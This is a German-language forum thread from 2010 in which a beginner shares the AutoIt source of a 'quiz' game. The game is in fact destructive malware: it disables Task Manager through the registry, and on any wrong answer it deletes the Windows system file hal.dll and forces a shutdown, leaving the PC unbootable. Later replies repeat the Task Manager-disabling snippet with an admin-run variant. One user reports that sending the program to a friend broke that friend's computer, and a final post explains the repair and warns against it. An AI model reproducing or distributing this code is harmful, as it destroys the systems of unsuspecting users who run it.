Autoit "Quiz" gemacht

11/07/2010 14:05 Italiboy#1
Hey Leute,
Ich habe gestern den If Then Else Befehl gelernt, jetzt hab ich ein kleinees Spiel gemacht :D
Hier wäre der Quellcode:
Code:
 #NoTrayIcon

$DISABLE = 1
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)

MsgBox (16, "Ohh Shitt!!!!", "Das ist ein Virus-Quiz, wenn du es beendest oder verlierst, fickt dein PC ab, wenn du gewinnst hast du glück gehabt")
MsgBox (0, "Passwort", "Das Passwort lautet Arschloch")
MsgBox (0, "Kennwort", "Das Kennwort lautet Hallo")
MsgBox (0, "Alter", "Ich bin 142 Jahre alt")
MsgBox (0, "Name", "Ich heisse Hans Wurscht")
MsgBox (0, "Zahl", "y=1 m=2 n=3 b=4 v=5     b+n+y+m + 1 * 3 : 3 +2 + y : 2 * 3 + 2 - 20 + 3 = __ ")
MsgBox (0, "Grösse", "Ich bin 10 Meter hoch.")
$input1 = InputBox ("Frage1", "Kennwort eingeben, oder dein PC fickt ab")
If $input1 = "Hallo" Then
	MsgBox (0, "Gut gemacht", "Frage 1 bestanden")
Else

FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
	
shutdown (2)

EndIf


$input2 = InputBox ("Frage2", "Wie gross bin ich, gib nur die zahl ein.")
If $input2 = "10" Then
	MsgBox (0, "Gut gemacht", "Frage 2 bestanden")
Else

FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
	
shutdown (2)

EndIf


$input3 =  InputBox ("Frage3", "Wie heisse ich zum ganzen namen?")
If $input3 = "Hans Wurscht" Then
	MsgBox (0, "Gut gemacht", "Frage 3 bestanden.")
Else
	
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
	
shutdown (2)

EndIf


$input4 = InputBox ("Frage4", "Wie lautet das Passwort")
If $input4 = "Arschloch" Then
	MsgBox (0, "Gut gemacht", "Frage 4 bestanden")
Else
	
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
	
shutdown (2)


$input5 = InputBox ("Frage5", "Was ergibt die Rechnung?")
If $input5 = "13" Then
	MsgBox (0, "Gut gemacht", "Frage 5 und somit das Quiz abgeschlossen")
Else
	
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
	
shutdown (2)

	EndIf
P.S.: Ich würde beim spielen die FileDelete weg tun und ne MsgBox hintun.
PP.S.: Ich hoffe ich habe es in die richtige Spalte getan...
11/07/2010 16:47 Meczedo#2
Hast ein EndIF vergessen hinter dem letzten Else :)
11/07/2010 17:08 Italiboy#3
Quote:
Originally Posted by Meczedo View Post
Hast ein EndIF vergessen hinter dem letzten Else :)
Quote:
Else

FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")

shutdown (2)

EndIf
nöö
Wie findest du die Idee :)
11/07/2010 18:27 Meczedo#4
Ganz nette idee ;)
11/07/2010 18:41 Italiboy#5
Quote:
Originally Posted by Meczedo View Post
Ganz nette idee ;)
Merci :D
11/07/2010 19:04 Meczedo#6
Ehm ich hab erst vor paar tagen angefangen mit AutoIT..

woher haste die befehle kennengelernt wie Filedelete .. oder so?

mfg
11/07/2010 19:08 Meczedo#7
Ehm Wie finde ich herraus wo bei Windows 7/Vista man taskmangaer auschalten kann?

Also wie mach ich das?
11/07/2010 19:21 Italiboy#8
Quote:
Originally Posted by Meczedo View Post
Ehm ich hab erst vor paar tagen angefangen mit AutoIT..

woher haste die befehle kennengelernt wie Filedelete .. oder so?
mfg
also da gibts viel,
z.B. youtube, google, hier...
und für den task,
ich glaub es ist genau der gleiche befehl, also das:
Code:
 $DISABLE = 1 ; 1= tskmgr gesperrt 0=tskmgr nicht gesperrt
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
villeicht musst du als win7 benutzer als admin ausführen, also so:
Code:
RunAs ("Administrator")
$DISABLE = 1
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
Wenn du fragen hast dann schreb mir doch ne PN, dann kann ich dir ein bissel helfen, bin auch noch ziemlich neu...
11/07/2010 20:22 Meczedo#9
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..

Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn :D

Ging wohl in die Hose..
11/07/2010 20:31 Italiboy#10
Quote:
Originally Posted by Meczedo View Post
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..

Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn :D

Ging wohl in die Hose..
o.0
Hat er es selber ausgeführt das quiz und dann hat er ne falsche antwort angegeben...
Autsch
11/07/2010 20:33 Meczedo#11
Könntest du mir durch PN schicken womit du sowas gelernt hast? Also alles was die geholfen hat sowas zu machen?

Oder kennst du auch vielleicht gute sachen womit man gut Programmieren lernt?
11/07/2010 20:44 Italiboy#12
Quote:
Originally Posted by Meczedo View Post
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..

Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn :D

Ging wohl in die Hose..
wetten wir, die datei hal.dll fehlt...
11/07/2010 20:58 Meczedo#13
Was kann man da jetz machen =?
11/07/2010 21:11 Italiboy#14
Windows cd einlegen,
PC anschalten,
und dan kan man ihn erneuern
11/08/2010 14:51 Der-Eddy#15
Quote:
Originally Posted by Meczedo View Post
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..

Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn :D

Ging wohl in die Hose..
Ich weis ja nicht woran das liegt

Code:
[COLOR="Red"]FileDelete[/COLOR] ("C:\Windows\system32\hal.dll")
[COLOR="Red"]FileDelete[/COLOR] ("C:\WINDOWS\System32\hal.dll")
Vieleicht fehlt ja die hal.dll im System32 Ordner?
Solltet ihr das gleiche Betriebssystem haben dann kannst du deine hal.dll aus dem Ordner rauskopieren und ihm geben
Danach den Computer mit einer Boot Disk (z.B. Linux Ubuntu Installations Disk) mit der man auch das System ausprobieren kann
=> Ubuntu CD rein
=> Ubuntu Ausprobieren
=> hal.dll wieder in den Ordner und dann Rechner neu starten

An deiner Stelle würde ich nicht so leichtfertig mit Windows Dateien rumspielen